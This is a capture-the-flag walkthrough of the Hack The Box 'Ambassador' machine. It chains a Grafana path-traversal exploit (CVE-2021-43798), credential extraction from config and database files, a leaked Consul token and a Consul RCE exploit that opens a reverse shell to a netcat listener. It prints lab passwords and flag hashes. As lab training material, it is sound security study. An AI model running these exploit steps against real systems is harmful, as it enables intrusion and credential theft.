0xc0rvu5.github.io

View on GitHub

Add ambassador.htb to /etc/hosts

echo "10.10.11.183	ambassador.htb" | sudo tee -a /etc/hosts

Initial enumeration consisted of firing up autorcon

sudo (which autorecon) ambassador.htb
cat _full_tcp_nmap.txt | grep open                                                                                                                                                            

22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
3000/tcp open  ppp?    syn-ack ttl 63
3306/tcp open  mysql   syn-ack ttl 63 MySQL 8.0.30-0ubuntu0.20.04.2
v8.2.0

GoogleFu:

GoogleFu:

git clone https://github.com/pedrohavay/exploit-grafana-CVE-2021-43798.git
cd exploit-grafana-CVE-2021-43798
python3.9 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
echo "http://ambassador.htb:3000" > targets.txt
python3 exploit.py
targets.txt

image

cmdline*  defaults.ini*  grafana.db*  grafana.ini*  passwd*
bat grafana.ini

 211   │ #################################### Security ####################################
 212   │ [security]
 213   │ # disable creation of admin user on first start of grafana
 214   │ ;disable_initial_admin_creation = false
 215   │ 
 216   │ # default admin user, created on startup
 217   │ ;admin_user = admin
 218   │ 
 219   │ # default admin password, can be changed before first start of grafana,  or in profile settings
 220   │ admin_password = messageInABottle685427
 221   │ 
 222   │ # used for signing
 223   │ ;secret_key = SW2YcwTIb9zpOOhoPsMm

sqlite3 grafana.db

SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
alert                       login_attempt             
alert_configuration         migration_log             
alert_instance              ngalert_configuration     
alert_notification          org                       
alert_notification_state    org_user                  
alert_rule                  playlist                  
alert_rule_tag              playlist_item             
alert_rule_version          plugin_setting            
annotation                  preferences               
annotation_tag              quota                     
api_key                     server_lock               
cache_data                  session                   
dashboard                   short_url                 
dashboard_acl               star                      
dashboard_provisioning      tag                       
dashboard_snapshot          team                      
dashboard_tag               team_member               
dashboard_version           temp_user                 
data_source                 test_data                 
kv_store                    user                      
library_element             user_auth                 
library_element_connection  user_auth_token           
sqlite> select * from data_source;
2|1|1|mysql|mysql.yaml|proxy||dontStandSoCloseToMe63221!|grafana|grafana|0|||0|{}|2022-09-01 22:43:03|2023-01-19 05:50:48|0|{}|1|uKewFgM4z

image

mysql -u grafana --password -h ambassador.htb -P 3306
Enter password: dontStandSoCloseToMe63221!
show databases;

+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+
use whackywidget
show tables;

+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users                  |
+------------------------+
select * from users;

+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d
anEnglishManInNewYork027468
ssh developer@ambassador.htb  
Password: anEnglishManInNewYork027468
cat user.txt 
7a66916c1c5853a796dc6434ec0fcfdb
cat .gitconfig

[user]
	name = Developer
	email = developer@ambassador.local
[safe]
	directory = /opt/my-app

image

Let’s check it out.

git log

image

git show 33a53ef9a207976d5ceceddc41a199558843bf3c

-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD

image

GoogleFu:

GoogleFu:

cd ~/Downloads/temp
wget https://raw.githubusercontent.com/GatoGamer1155/Hashicorp-Consul-RCE-via-API/main/exploit.py
mv exploit.py consul.py
python -m http.server
wget http://10.10.16.34:8000/consul.py
chmod 700 consul.py
On host:
nc -lvnp 4444
python3 consul.py --rhost 127.0.0.1 --rport 8500 --lhost 10.10.16.34 --lport 4444 --token bb03b43b-1d81-d62b-24b5-39540ee469b5
cat /home/developer/user.txt

7a66916c1c5853a796dc6434ec0fcfdb

cat root.txt

4c10afa99c9067de2878f7f38ecd7dfa

image

#hacking